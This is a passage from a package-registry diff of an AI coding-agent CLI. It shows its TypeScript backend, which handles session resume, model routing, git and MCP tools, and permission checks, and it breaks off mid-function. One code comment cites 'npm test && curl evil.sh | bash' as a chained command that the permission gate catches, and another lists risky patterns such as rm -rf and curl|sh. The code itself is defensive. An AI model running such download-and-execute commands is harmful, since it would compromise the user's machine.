@thispointon/kondi-chat 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (108) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +556 -0
  3. package/bin/kondi-chat +56 -0
  4. package/bin/kondi-chat.js +72 -0
  5. package/package.json +55 -0
  6. package/scripts/demo.tape +49 -0
  7. package/scripts/postinstall.cjs +103 -0
  8. package/src/audit/analytics.ts +261 -0
  9. package/src/audit/ledger.ts +253 -0
  10. package/src/audit/telemetry.ts +165 -0
  11. package/src/cli/backend.ts +675 -0
  12. package/src/cli/commands.ts +419 -0
  13. package/src/cli/help.ts +182 -0
  14. package/src/cli/submit-helpers.ts +159 -0
  15. package/src/cli/submit.ts +539 -0
  16. package/src/cli/wizard.ts +121 -0
  17. package/src/context/bootstrap.ts +138 -0
  18. package/src/context/budget.ts +100 -0
  19. package/src/context/manager.ts +666 -0
  20. package/src/context/memory.ts +160 -0
  21. package/src/context/preflight.ts +176 -0
  22. package/src/context/project-brain.ts +101 -0
  23. package/src/context/receipts.ts +108 -0
  24. package/src/context/skills.ts +154 -0
  25. package/src/context/symbol-index.ts +240 -0
  26. package/src/council/profiles.ts +137 -0
  27. package/src/council/tool.ts +138 -0
  28. package/src/council-engine/cli/council-artifacts.ts +230 -0
  29. package/src/council-engine/cli/council-config.ts +178 -0
  30. package/src/council-engine/cli/council-session-export.ts +116 -0
  31. package/src/council-engine/cli/kondi.ts +98 -0
  32. package/src/council-engine/cli/llm-caller.ts +229 -0
  33. package/src/council-engine/cli/localStorage-shim.ts +119 -0
  34. package/src/council-engine/cli/node-platform.ts +68 -0
  35. package/src/council-engine/cli/run-council.ts +481 -0
  36. package/src/council-engine/cli/run-pipeline.ts +772 -0
  37. package/src/council-engine/cli/session-export.ts +153 -0
  38. package/src/council-engine/configs/councils/analysis.json +101 -0
  39. package/src/council-engine/configs/councils/code-planning.json +86 -0
  40. package/src/council-engine/configs/councils/coding.json +89 -0
  41. package/src/council-engine/configs/councils/debate.json +97 -0
  42. package/src/council-engine/configs/councils/solo-claude.json +34 -0
  43. package/src/council-engine/configs/councils/solo-gpt.json +34 -0
  44. package/src/council-engine/council/coding-orchestrator.ts +1205 -0
  45. package/src/council-engine/council/context-bootstrap.ts +147 -0
  46. package/src/council-engine/council/context-inspection.ts +42 -0
  47. package/src/council-engine/council/context-store.ts +763 -0
  48. package/src/council-engine/council/deliberation-orchestrator.ts +2762 -0
  49. package/src/council-engine/council/factory.ts +164 -0
  50. package/src/council-engine/council/index.ts +201 -0
  51. package/src/council-engine/council/ledger-store.ts +438 -0
  52. package/src/council-engine/council/prompts.ts +1689 -0
  53. package/src/council-engine/council/storage-cleanup.ts +164 -0
  54. package/src/council-engine/council/store.ts +1110 -0
  55. package/src/council-engine/council/synthesis.ts +291 -0
  56. package/src/council-engine/council/types.ts +845 -0
  57. package/src/council-engine/council/validation.ts +613 -0
  58. package/src/council-engine/pipeline/build-detect.ts +73 -0
  59. package/src/council-engine/pipeline/executor.ts +1048 -0
  60. package/src/council-engine/pipeline/index.ts +9 -0
  61. package/src/council-engine/pipeline/install-detect.ts +84 -0
  62. package/src/council-engine/pipeline/memory-store.ts +182 -0
  63. package/src/council-engine/pipeline/output-parsers.ts +146 -0
  64. package/src/council-engine/pipeline/run-output.ts +149 -0
  65. package/src/council-engine/pipeline/session-import.ts +177 -0
  66. package/src/council-engine/pipeline/store.ts +753 -0
  67. package/src/council-engine/pipeline/test-detect.ts +82 -0
  68. package/src/council-engine/pipeline/types.ts +401 -0
  69. package/src/council-engine/services/deliberationSummary.ts +114 -0
  70. package/src/council-engine/tsconfig.json +16 -0
  71. package/src/council-engine/types/mcp.ts +122 -0
  72. package/src/council-engine/utils/filterTools.ts +73 -0
  73. package/src/engine/apply.ts +238 -0
  74. package/src/engine/checkpoints.ts +237 -0
  75. package/src/engine/consultants.ts +347 -0
  76. package/src/engine/diff.ts +171 -0
  77. package/src/engine/errors.ts +102 -0
  78. package/src/engine/git-tools.ts +246 -0
  79. package/src/engine/hooks.ts +181 -0
  80. package/src/engine/loop-guard.ts +155 -0
  81. package/src/engine/permissions.ts +293 -0
  82. package/src/engine/pipeline.ts +376 -0
  83. package/src/engine/sub-agents.ts +133 -0
  84. package/src/engine/task-card.ts +185 -0
  85. package/src/engine/task-router.ts +256 -0
  86. package/src/engine/task-store.ts +86 -0
  87. package/src/engine/tools.ts +783 -0
  88. package/src/engine/verify.ts +111 -0
  89. package/src/mcp/client.ts +225 -0
  90. package/src/mcp/config.ts +120 -0
  91. package/src/mcp/tool-manager.ts +192 -0
  92. package/src/mcp/types.ts +61 -0
  93. package/src/providers/llm-caller.ts +943 -0
  94. package/src/providers/rate-limiter.ts +238 -0
  95. package/src/router/NOTES.md +28 -0
  96. package/src/router/collector.ts +474 -0
  97. package/src/router/embeddings.ts +286 -0
  98. package/src/router/index.ts +299 -0
  99. package/src/router/intent-router.ts +225 -0
  100. package/src/router/nn-router.ts +205 -0
  101. package/src/router/profiles.ts +309 -0
  102. package/src/router/registry.ts +565 -0
  103. package/src/router/rules.ts +274 -0
  104. package/src/router/train.py +408 -0
  105. package/src/session/store.ts +211 -0
  106. package/src/test-utils/mock-llm.ts +39 -0
  107. package/src/types.ts +322 -0
  108. package/src/web/manager.ts +311 -0
@@ -0,0 +1,675 @@
1
+ #!/usr/bin/env npx tsx
2
+ /**
3
+ * kondi-chat backend — communicates with the Rust TUI via JSON-RPC over stdio.
4
+ *
5
+ * Reads commands from stdin (one JSON per line).
6
+ * Writes events to stdout (one JSON per line).
7
+ * All the LLM routing, tools, MCP, council logic runs here.
8
+ */
9
+
10
+ import { createInterface } from 'node:readline';
11
+ import { resolve, join } from 'node:path';
12
+ import { existsSync, readFileSync, mkdirSync } from 'node:fs';
13
+ import { homedir } from 'node:os';
14
+ import type { ProviderId, Session, LLMMessage } from '../types.ts';
15
+ import { callLLM } from '../providers/llm-caller.ts';
16
+ import { ContextManager, createSession } from '../context/manager.ts';
17
+ import { MemoryManager } from '../context/memory.ts';
18
+ import { bootstrapDirectory } from '../context/bootstrap.ts';
19
+ import { Ledger, estimateCost } from '../audit/ledger.ts';
20
+ import { AGENT_TOOLS, type ToolContext } from '../engine/tools.ts';
21
+ import { loadConsultants } from '../engine/consultants.ts';
22
+ import { SymbolIndexer } from '../context/symbol-index.ts';
23
+ import { TaskStore } from '../engine/task-store.ts';
24
+ import { PermissionManager, hasShellChainOperator } from '../engine/permissions.ts';
25
+ import { detectGitRepo, formatGitContextForPrompt, GIT_TOOLS, executeGitTool, type GitContext } from '../engine/git-tools.ts';
26
+ import { CheckpointManager, isMutatingToolCall, predictedMutations } from '../engine/checkpoints.ts';
27
+ import { SessionStore, AUTO_SAVE_MS } from '../session/store.ts';
28
+ import { RateLimiter, loadRateLimitConfig, setRateLimiter } from '../providers/rate-limiter.ts';
29
+ import { HookRunner } from '../engine/hooks.ts';
30
+ import { runSubAgent, formatSubAgentResult } from '../engine/sub-agents.ts';
31
+ import { WebToolsManager } from '../web/manager.ts';
32
+ import type { ImageAttachment } from '../types.ts';
33
+ import { Router as UnifiedRouter } from '../router/index.ts';
34
+ import { ProfileManager, type BudgetProfile } from '../router/profiles.ts';
35
+ import { LoopGuard } from '../engine/loop-guard.ts';
36
+ import { McpClientManager } from '../mcp/client.ts';
37
+ import { loadMcpConfig } from '../mcp/config.ts';
38
+ import { ToolManager } from '../mcp/tool-manager.ts';
39
+ import { CouncilProfileManager } from '../council/profiles.ts';
40
+ import { executeCouncil } from '../council/tool.ts';
41
+ import { RoutingCollector } from '../router/collector.ts';
42
+ import type { ModelRegistry } from '../router/registry.ts';
43
+ import { pickCompressionModel } from './submit-helpers.ts';
44
+ import { handleCommand } from './commands.ts';
45
+ import { handleSubmit } from './submit.ts';
46
+ import { Analytics } from '../audit/analytics.ts';
47
+ import { TelemetryEmitter } from '../audit/telemetry.ts';
48
+ import { runFirstRunWizard, checkForUpdate, readActiveProfile, writeActiveProfile } from './wizard.ts';
49
+ import { formatHelp } from './help.ts';
50
+
51
+ // Spec 08 — MAX_TOOL_ITERATIONS deleted; handleSubmit now uses LoopGuard
52
+ // driven by the active budget profile.
53
+
54
+ // ── Helpers ──────────────────────────────────────────────────────────
55
+
56
+ function emit(event: any) {
57
+ process.stdout.write(JSON.stringify(event) + '\n');
58
+ }
59
+
60
+ function loadEnvFile(path: string): void {
61
+ if (!existsSync(path)) return;
62
+ for (const line of readFileSync(path, 'utf-8').split('\n')) {
63
+ const trimmed = line.trim();
64
+ if (!trimmed || trimmed.startsWith('#')) continue;
65
+ const eq = trimmed.indexOf('=');
66
+ if (eq < 0) continue;
67
+ const key = trimmed.slice(0, eq).trim();
68
+ const val = trimmed.slice(eq + 1).trim().replace(/^["']|["']$/g, '');
69
+ if (!process.env[key]) process.env[key] = val;
70
+ }
71
+ }
72
+
73
+ function loadEnv(): void {
74
+ // Load from the kondi-chat install directory (process.cwd = project root
75
+ // because the TUI spawns the backend with current_dir(&project_root)).
76
+ loadEnvFile(resolve(process.cwd(), '.env'));
77
+ // Also load from the user's actual working directory (passed via --cwd)
78
+ // so API keys in the user's project .env are picked up too.
79
+ const cwdIdx = process.argv.indexOf('--cwd');
80
+ if (cwdIdx >= 0 && process.argv[cwdIdx + 1]) {
81
+ loadEnvFile(resolve(process.argv[cwdIdx + 1], '.env'));
82
+ }
83
+ // Also load from ~/.kondi-chat/.env as a user-level fallback.
84
+ loadEnvFile(resolve(homedir(), '.kondi-chat', '.env'));
85
+ }
86
+
87
+ // ── Main ─────────────────────────────────────────────────────────────
88
+
89
+ async function main() {
90
+ loadEnv();
91
+ // The TUI passes --cwd <dir> with the user's actual working directory
92
+ // (where they ran `kondi-chat`). Without it, fall back to process.cwd().
93
+ const cwdIdx = process.argv.indexOf('--cwd');
94
+ const workingDir = (cwdIdx >= 0 && process.argv[cwdIdx + 1])
95
+ ? resolve(process.argv[cwdIdx + 1])
96
+ : process.cwd();
97
+ const storageDir = resolve(workingDir, '.kondi-chat');
98
+ mkdirSync(storageDir, { recursive: true });
99
+
100
+ // Spec 16 — first-run setup wizard (non-interactive; safe on every start).
101
+ runFirstRunWizard(storageDir);
102
+ // Spec 16 — async update check; swallow failures. Don't block startup.
103
+ checkForUpdate('0.1.2').then(b => { if (b) emit({ type: 'status', text: b }); }).catch(() => {});
104
+
105
+ // Spec 06 — session resume
106
+ const sessionStore = new SessionStore(storageDir);
107
+ sessionStore.cleanup();
108
+ const resumeIdx = process.argv.indexOf('--resume');
109
+ let session: Session;
110
+ let resumed = false;
111
+ let resumedSummary = '';
112
+ let restoredProfile: string | undefined;
113
+ let restoredOverrideModel: string | undefined;
114
+ if (resumeIdx >= 0) {
115
+ const nextArg = process.argv[resumeIdx + 1];
116
+ const persisted = nextArg && !nextArg.startsWith('--')
117
+ ? sessionStore.load(nextArg)
118
+ : sessionStore.loadLatest(workingDir);
119
+ if (persisted) {
120
+ session = persisted.session;
121
+ resumed = true;
122
+ resumedSummary = `${session.messages.length} messages, $${session.totalCostUsd.toFixed(4)}`;
123
+ restoredProfile = persisted.activeProfile;
124
+ restoredOverrideModel = persisted.overrideModel;
125
+ } else {
126
+ session = createSession('openai' as ProviderId, undefined, workingDir);
127
+ }
128
+ } else {
129
+ session = createSession('openai' as ProviderId, undefined, workingDir);
130
+ }
131
+ const ledger = new Ledger(session.id, storageDir);
132
+ const analytics = new Analytics(storageDir);
133
+ const telemetry = new TelemetryEmitter(storageDir);
134
+ telemetry.record({ kind: 'feature_used', feature: resumed ? 'session_resumed' : 'session_started', timestamp: new Date().toISOString() });
135
+ const router = new UnifiedRouter(storageDir, { useIntent: true });
136
+ const registry = router.registry;
137
+ const collector = router.collector;
138
+ // Profile precedence: --resume session > config.json default > 'balanced'.
139
+ const initialProfile = restoredProfile || readActiveProfile(storageDir);
140
+ const profiles = new ProfileManager(initialProfile as any, storageDir);
141
+ router.rules.setProfile(profiles.getActive());
142
+ if (restoredOverrideModel) {
143
+ const m = registry.getById(restoredOverrideModel) || registry.getByAlias(restoredOverrideModel);
144
+ if (m) router.rules.setOverride(m);
145
+ }
146
+
147
+ const mcpClient = new McpClientManager();
148
+ const mcpConfigs = loadMcpConfig(workingDir);
149
+ if (mcpConfigs.size > 0) {
150
+ await mcpClient.connectAll(mcpConfigs);
151
+ }
152
+ const toolManager = new ToolManager(mcpClient);
153
+ const hookRunner = new HookRunner(join(storageDir, 'hooks.json'), workingDir);
154
+ toolManager.setHookRunner(hookRunner);
155
+
156
+ // Web tools — always registered. Uses DuckDuckGo by default (no API key
157
+ // needed). Upgrades to Brave Search if BRAVE_SEARCH_API_KEY is set.
158
+ const webTools = new WebToolsManager();
159
+ for (const tool of webTools.getTools()) {
160
+ toolManager.registerTool(tool, async (args) => webTools.executeTool(tool.name, args));
161
+ }
162
+
163
+ const councilProfiles = new CouncilProfileManager(storageDir);
164
+ // The kondi-council deliberation engine is bundled at src/council-engine/;
165
+ // executeCouncil resolves it relative to its own module path.
166
+ // Councils are expensive (fan out to multiple frontier models for
167
+ // multi-round deliberation) and blocking (synchronous subprocess).
168
+ // They must NEVER be auto-invokable by the agent — the model must not
169
+ // see COUNCIL_TOOL in its toolset. Users reach councils only via the
170
+ // explicit /council slash command in handleCommand.
171
+
172
+ // Bootstrap
173
+ const ctx = await bootstrapDirectory(workingDir, 'light');
174
+ if (ctx) session.groundingContext = ctx;
175
+
176
+ const memoryManager = new MemoryManager(workingDir);
177
+ const contextManager = new ContextManager(
178
+ session,
179
+ { contextBudget: profiles.getActive().contextBudget },
180
+ ledger,
181
+ memoryManager,
182
+ );
183
+ // Pick a cheap, profile-appropriate compression model. When the active
184
+ // profile restricts providers (e.g. zai), the compaction LLM call should
185
+ // stay inside the filter. For unrestricted profiles, fall back to the
186
+ // cheapest `summarization` model in the registry.
187
+ const applyProfileScope = () => {
188
+ const p = profiles.getActive();
189
+ const cheap = pickCompressionModel(registry, p);
190
+ if (cheap) contextManager.setCompressionModel(cheap.provider, cheap.id);
191
+ router.setProfileScope({
192
+ classifier: cheap ? { provider: cheap.provider, model: cheap.id } : undefined,
193
+ rolePinning: p.rolePinning,
194
+ allowedProviders: p.allowedProviders,
195
+ });
196
+ };
197
+ applyProfileScope();
198
+
199
+ // Spec 02 — git context (refreshed after mutating tools and once per turn).
200
+ let gitCtx: GitContext = detectGitRepo(workingDir);
201
+ contextManager.setGitContextText(formatGitContextForPrompt(gitCtx));
202
+ const refreshGit = () => {
203
+ gitCtx = detectGitRepo(workingDir);
204
+ contextManager.setGitContextText(formatGitContextForPrompt(gitCtx));
205
+ };
206
+ // Push a git_info status event to the TUI so it can update the status bar.
207
+ const emitGitInfo = () => {
208
+ if (!gitCtx.isGitRepo) return;
209
+ emit({
210
+ type: 'status',
211
+ text: '', // clear any stale status text
212
+ git_info: {
213
+ branch: gitCtx.branch,
214
+ dirty_count: gitCtx.dirtyCount + gitCtx.untrackedCount,
215
+ last_commit: gitCtx.lastCommitHash,
216
+ },
217
+ });
218
+ };
219
+ // Refresh git status every 5 seconds so external changes (editor saves,
220
+ // git commands in another terminal) show up without waiting for a turn.
221
+ if (gitCtx.isGitRepo) {
222
+ setInterval(() => { refreshGit(); emitGitInfo(); }, 5000);
223
+ }
224
+ for (const tool of GIT_TOOLS) {
225
+ toolManager.registerTool(tool, async (args, _toolCtx) => {
226
+ const res = await executeGitTool(tool.name, args, workingDir, gitCtx);
227
+ refreshGit();
228
+ return res;
229
+ });
230
+ }
231
+
232
+ // Spec 14 — rate limiter is a global singleton consulted from llm-caller.
233
+ const rateLimiter = new RateLimiter(loadRateLimitConfig(storageDir));
234
+ setRateLimiter(rateLimiter);
235
+
236
+ const checkpointManager = new CheckpointManager(workingDir, session.id, storageDir);
237
+
238
+ // Spec 09 — pending image attachments (from /attach). Flushed on next submit.
239
+ const pendingImages: ImageAttachment[] = [];
240
+
241
+ const skipPermissions = process.argv.includes('--dangerously-skip-permissions');
242
+ const permissionManager = new PermissionManager(
243
+ join(storageDir, 'permissions.json'),
244
+ skipPermissions,
245
+ );
246
+
247
+ const toolCtx: ToolContext = {
248
+ workingDir,
249
+ session,
250
+ ledger,
251
+ pipelineConfig: {
252
+ provider: session.activeProvider,
253
+ model: session.activeModel,
254
+ router,
255
+ collector,
256
+ promotionThreshold: 2,
257
+ workingDir,
258
+ autoVerify: true,
259
+ taskStore: new TaskStore(storageDir),
260
+ // Stream per-phase activity events into the same emit sink the
261
+ // agent loop uses, so create_task is visibly transparent to the TUI
262
+ // instead of blocking as one opaque tool line.
263
+ emit,
264
+ },
265
+ memoryManager,
266
+ setActiveFile: (p: string) => contextManager.setActiveFile(p),
267
+ permissionManager,
268
+ consultants: loadConsultants(storageDir),
269
+ symbolIndex: (() => {
270
+ const indexer = new SymbolIndexer(workingDir);
271
+ const scanned = indexer.build();
272
+ if (scanned > 0) process.stderr.write(`[symbol-index] scanned ${scanned} files\n`);
273
+ return indexer;
274
+ })(),
275
+ emit,
276
+ spawnSubAgent: async (type, instruction) => {
277
+ emit({ type: 'activity', text: `spawn_agent(${type}): ${instruction.slice(0, 80)}`, activity_type: 'sub_agent' });
278
+ const r = await runSubAgent(type, instruction, { router, toolManager, toolCtx, session });
279
+ emit({ type: 'activity', text: `sub-agent ${type} done: ${r.iterations}it $${r.costUsd.toFixed(4)}`, activity_type: 'sub_agent' });
280
+ return formatSubAgentResult(r);
281
+ },
282
+ };
283
+
284
+ // Health check
285
+ await registry.checkHealth();
286
+ const available = registry.getAvailable();
287
+
288
+ emit({
289
+ type: 'ready',
290
+ models: available.map(m => m.alias || m.id),
291
+ mode: profiles.getActive().name,
292
+ status: resumed
293
+ ? `resumed ${session.id.slice(0, 8)} (${resumedSummary}) | mode: ${profiles.getActive().name}`
294
+ : `${available.length} models | mode: ${profiles.getActive().name}`,
295
+ git_info: gitCtx.isGitRepo ? {
296
+ branch: gitCtx.branch,
297
+ dirty_count: gitCtx.dirtyCount + gitCtx.untrackedCount,
298
+ last_commit: gitCtx.lastCommitHash,
299
+ } : null,
300
+ resumed,
301
+ resumed_session_id: resumed ? session.id : null,
302
+ resumed_message_count: resumed ? session.messages.length : null,
303
+ });
304
+
305
+ // Tell the TUI what the routing state is at startup so the bottom
306
+ // indicator renders correctly before the first turn arrives. If a
307
+ // prior session restored a /use override, we surface that; otherwise
308
+ // we show the profile name under "routing:".
309
+ {
310
+ const override = router.rules.getOverride();
311
+ if (override) {
312
+ emit({ type: 'model_override', label: override.alias || override.id, pinned: true });
313
+ } else {
314
+ emit({ type: 'model_override', label: profiles.getActive().name, pinned: false });
315
+ }
316
+ }
317
+
318
+ // Telemetry-disabled startup banner removed — it rendered on every launch
319
+ // and cluttered the status line. Users can discover /telemetry via /help.
320
+
321
+ sessionStore.setActive(session.id);
322
+ sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id);
323
+ const saveInterval = setInterval(() => {
324
+ try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); }
325
+ catch (e) { process.stderr.write(`[session-save] ${(e as Error).message}\n`); }
326
+ }, AUTO_SAVE_MS);
327
+ // Idempotent shutdown path. Signal + crash handlers route through here
328
+ // so the session is flushed AND MCP child transports get a chance to
329
+ // close cleanly before the process exits. A hard 2s deadline backs up
330
+ // the async cleanup — if MCP is wedged we'd rather kill the process
331
+ // than hang the user's terminal forever.
332
+ let shuttingDown = false;
333
+ const saveAndExit = (exitCode: number = 0): void => {
334
+ if (shuttingDown) return;
335
+ shuttingDown = true;
336
+ clearInterval(saveInterval);
337
+ try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); } catch { /* ignore */ }
338
+ // Hard deadline: force-exit if cleanup doesn't finish in 2 seconds.
339
+ const deadline = setTimeout(() => process.exit(exitCode), 2000);
340
+ deadline.unref();
341
+ // Tear down MCP client connections so stdio child processes get a
342
+ // real close() instead of becoming zombies on SIGKILL of the parent.
343
+ mcpClient.disconnectAll()
344
+ .catch(() => { /* best-effort cleanup */ })
345
+ .finally(() => process.exit(exitCode));
346
+ };
347
+ process.on('SIGTERM', () => saveAndExit(0));
348
+ process.on('SIGINT', () => saveAndExit(0));
349
+
350
+ // Spec 13 — fatal handlers flush session state before crashing out
351
+ process.on('uncaughtException', (err) => {
352
+ try { emit({ type: 'error', message: `Uncaught: ${err.message}`, recoverable: false }); } catch { /* ignore */ }
353
+ saveAndExit(1);
354
+ });
355
+ process.on('unhandledRejection', (reason) => {
356
+ try { emit({ type: 'error', message: `Unhandled rejection: ${String(reason)}`, recoverable: false }); } catch { /* ignore */ }
357
+ saveAndExit(1);
358
+ });
359
+
360
+ // Spec 13 — integrate any recovery partial left by a prior crashed run
361
+ const recovered = sessionStore.checkForRecovery(session.id);
362
+ if (recovered?.content) {
363
+ session.messages.push({
364
+ role: 'assistant',
365
+ content: `${recovered.content}\n\n[recovered from crash]`,
366
+ timestamp: recovered.savedAt,
367
+ });
368
+ sessionStore.clearRecovery(session.id);
369
+ }
370
+
371
+ // ── Non-interactive mode (Spec 10) ─────────────────────────────────
372
+ // When --prompt/--pipe/--json/--sessions are set, we run a single turn
373
+ // and exit instead of entering the JSON-RPC event loop.
374
+ const nonInteractive = parseNonInteractiveFlags(process.argv);
375
+ if (nonInteractive) {
376
+ const code = await runNonInteractiveTurn(
377
+ nonInteractive, workingDir, session, contextManager, ledger, router,
378
+ toolCtx, toolManager, profiles, checkpointManager, sessionStore,
379
+ skipPermissions,
380
+ );
381
+ clearInterval(saveInterval);
382
+ process.exit(code);
383
+ }
384
+
385
+ // ── Handle commands from TUI ───────────────────────────────────────
386
+
387
+ const rl = createInterface({ input: process.stdin });
388
+
389
+ rl.on('line', async (line: string) => {
390
+ let cmd: any;
391
+ try { cmd = JSON.parse(line); } catch { return; }
392
+
393
+ if (cmd.type === 'quit') {
394
+ // saveAndExit handles both the session flush and MCP teardown
395
+ // behind a 2s hard deadline. No need for redundant disconnects here.
396
+ saveAndExit(0);
397
+ return;
398
+ }
399
+
400
+ if (cmd.type === 'permission_response') {
401
+ permissionManager.handleResponse(cmd.id, cmd.decision);
402
+ return;
403
+ }
404
+
405
+ if (cmd.type === 'command') {
406
+ // `/loop <goal>` is not a simple string-returning slash command —
407
+ // it spawns a multi-iteration agent loop that needs the streaming
408
+ // event path of handleSubmit. Route it there instead of
409
+ // handleCommand so the TUI sees tool_call / activity / message
410
+ // events in real time.
411
+ const loopMatch = (cmd.text as string).match(/^\/loop\s+([\s\S]+)/);
412
+ if (loopMatch) {
413
+ const goal = loopMatch[1].trim();
414
+ refreshGit();
415
+ toolCtx.mutatedFiles = new Set();
416
+ const boot = `Autonomous loop — goal: ${goal}\n\n` +
417
+ `Work toward this goal using the available tools. Do not stop at the ` +
418
+ `first pass. Keep iterating: investigate, edit, verify, refine.\n\n` +
419
+ `IMPORTANT: for any unit of real coding work, call the create_task ` +
420
+ `tool with a clear goal + constraints. create_task runs the full ` +
421
+ `dispatch → execute → verify → reflect pipeline, which routes each ` +
422
+ `phase to a different role-appropriate model from the active ` +
423
+ `profile (planning model for dispatch, coding model for execute, ` +
424
+ `reflect model for the final critique) and verifies the result ` +
425
+ `against local tools. Prefer create_task over ad-hoc read_file + ` +
426
+ `write_file loops whenever the task has a clear goal you can state.\n\n` +
427
+ `When the goal is fully accomplished, respond with DONE on its own ` +
428
+ `line followed by a brief summary of what changed. If you are blocked ` +
429
+ `and cannot proceed, respond with STUCK: <reason>.`;
430
+ await handleSubmit(boot, {
431
+ session, contextManager, ledger, router, collector,
432
+ toolCtx, toolManager, profiles, checkpointManager, emit,
433
+ }, { loop: true, loopGoal: goal });
434
+ try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); } catch { /* ignore */ }
435
+ emit({ type: 'command_result', output: `Loop finished.` });
436
+ refreshGit();
437
+ emitGitInfo();
438
+ return;
439
+ }
440
+ const output = await handleCommand(cmd.text, {
441
+ session, contextManager, ledger, registry, collector, toolCtx,
442
+ mcpClient, toolManager,
443
+ workingDir, profiles, router, councilProfiles,
444
+ analytics, checkpointManager, sessionStore, rateLimiter,
445
+ pendingImages, telemetry, emit,
446
+ });
447
+ emit({ type: 'command_result', output });
448
+ refreshGit();
449
+ emitGitInfo();
450
+ return;
451
+ }
452
+
453
+ if (cmd.type === 'submit') {
454
+ refreshGit();
455
+ toolCtx.mutatedFiles = new Set();
456
+ // Spec 09 — images arrive as an array of {mimeType, base64, originalPath?}
457
+ // on the submit command. For v1 we just note them in the text so the
458
+ // user's intent is visible to the model; full multimodal dispatch is
459
+ // deferred (see IMPLEMENTATION-LOG.md).
460
+ let input = cmd.text as string;
461
+ const submitImages: ImageAttachment[] = [
462
+ ...(Array.isArray(cmd.images) ? cmd.images : []),
463
+ ...pendingImages,
464
+ ];
465
+ pendingImages.length = 0;
466
+ if (submitImages.length > 0) {
467
+ const notes = submitImages.map((img, i) =>
468
+ `[image ${i + 1}${img.originalPath ? ` from ${img.originalPath}` : ''}: ${img.mimeType}, ${img.sizeBytes || 0} bytes]`
469
+ ).join('\n');
470
+ input = `${input}\n\n${notes}`;
471
+ }
472
+ await handleSubmit(input, {
473
+ session, contextManager, ledger, router, collector,
474
+ toolCtx, toolManager, profiles, checkpointManager, emit,
475
+ });
476
+ try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); } catch { /* ignore */ }
477
+ return;
478
+ }
479
+ });
480
+ }
481
+
482
+ // ── Submit handler (agent loop) ──────────────────────────────────────
483
+
484
+ /**
485
+ * Classify a user message into a router phase. 'execute' picks a coding
486
+ * model via the budget profile's executionPreference; 'discuss' picks a
487
+ * reasoning/planning model. The intent router (LLM-based) will further
488
+ * refine this inside Router.select(), but the phase decides which
489
+ * preference list applies.
490
+ */
491
+ // Helpers (collapseOldToolResults, compactInLoop, pickCompressionModel,
492
+ // classifyPhase) live in ./submit-helpers.ts and are imported at the top.
493
+
494
+
495
+ // ── Non-interactive helpers (Spec 10) ───────────────────────────────
496
+
497
+ interface NonInteractiveFlags {
498
+ prompt?: string;
499
+ pipe: boolean;
500
+ json: boolean;
501
+ sessions: boolean;
502
+ maxIterations?: number;
503
+ maxCostUsd?: number;
504
+ autoApprove: Set<string>;
505
+ }
506
+
507
+ function parseNonInteractiveFlags(argv: string[]): NonInteractiveFlags | null {
508
+ const has = (f: string) => argv.includes(f);
509
+ if (!(has('--prompt') || has('--pipe') || has('--json') || has('--sessions'))) return null;
510
+ const flags: NonInteractiveFlags = {
511
+ pipe: has('--pipe'),
512
+ json: has('--json'),
513
+ sessions: has('--sessions'),
514
+ autoApprove: new Set(),
515
+ };
516
+ const promptIdx = argv.indexOf('--prompt');
517
+ if (promptIdx >= 0) flags.prompt = argv[promptIdx + 1];
518
+ const iterIdx = argv.indexOf('--max-iterations');
519
+ if (iterIdx >= 0) flags.maxIterations = parseInt(argv[iterIdx + 1], 10);
520
+ const costIdx = argv.indexOf('--max-cost');
521
+ if (costIdx >= 0) flags.maxCostUsd = parseFloat(argv[costIdx + 1]);
522
+ const aaIdx = argv.indexOf('--auto-approve');
523
+ if (aaIdx >= 0) flags.autoApprove = new Set((argv[aaIdx + 1] || '').split(',').filter(Boolean));
524
+ return flags;
525
+ }
526
+
527
+ async function readStdin(): Promise<string> {
528
+ const chunks: Buffer[] = [];
529
+ return new Promise((resolve, reject) => {
530
+ process.stdin.on('data', c => chunks.push(Buffer.from(c)));
531
+ process.stdin.on('end', () => resolve(Buffer.concat(chunks).toString('utf-8')));
532
+ process.stdin.on('error', reject);
533
+ });
534
+ }
535
+
536
+ async function runNonInteractiveTurn(
537
+ flags: NonInteractiveFlags,
538
+ workingDir: string,
539
+ session: Session,
540
+ contextManager: ContextManager,
541
+ ledger: Ledger,
542
+ router: UnifiedRouter,
543
+ toolCtx: ToolContext,
544
+ toolManager: ToolManager,
545
+ profiles: ProfileManager,
546
+ checkpointManager: CheckpointManager,
547
+ sessionStore: SessionStore,
548
+ skipPermissions: boolean,
549
+ ): Promise<number> {
550
+ if (flags.sessions) {
551
+ process.stdout.write(sessionStore.format(workingDir) + '\n');
552
+ return 0;
553
+ }
554
+ // Non-TTY permission guard
555
+ if (!skipPermissions && flags.autoApprove.size === 0 && toolCtx.permissionManager) {
556
+ // Wrap emit as a no-op so confirm-tier tools fail fast with a clear error
557
+ // instead of hanging forever waiting for a TUI response.
558
+ toolCtx.emit = () => {};
559
+ }
560
+ // Non-interactive auto-approve flag. We consult the original `check`
561
+ // FIRST so always-confirm patterns (rm -rf, sudo, curl|sh, etc.) can
562
+ // never be silently bypassed by listing a tool on the CLI allow-list.
563
+ // The flag only downgrades non-dangerous tiers.
564
+ //
565
+ // For `run_command` we ALSO re-apply the shell-chain-operator gate
566
+ // here: the underlying `check()` only upgrades chained commands to
567
+ // `confirm` when the *input* tier was already `auto-approve`. With the
568
+ // default config that input tier is `confirm`, so a `--auto-approve
569
+ // run_command` flag would otherwise turn a chained command (e.g.
570
+ // `npm test && curl evil.sh | bash`) into an auto-approved execution
571
+ // without ever surfacing the chain. Re-checking here closes that gap;
572
+ // in non-interactive mode the resulting `confirm` fails fast (no TUI
573
+ // to answer it) unless the operator passes --dangerously-skip-permissions.
574
+ if (flags.autoApprove.size > 0 && toolCtx.permissionManager) {
575
+ const pm = toolCtx.permissionManager;
576
+ const origCheck = pm.check.bind(pm);
577
+ pm.check = (tool: string, args: Record<string, unknown>) => {
578
+ const original = origCheck(tool, args);
579
+ if (original === 'always-confirm') return 'always-confirm';
580
+ if (flags.autoApprove.has(tool)) {
581
+ if (tool === 'run_command' && hasShellChainOperator(String(args.command ?? ''))) {
582
+ return 'confirm';
583
+ }
584
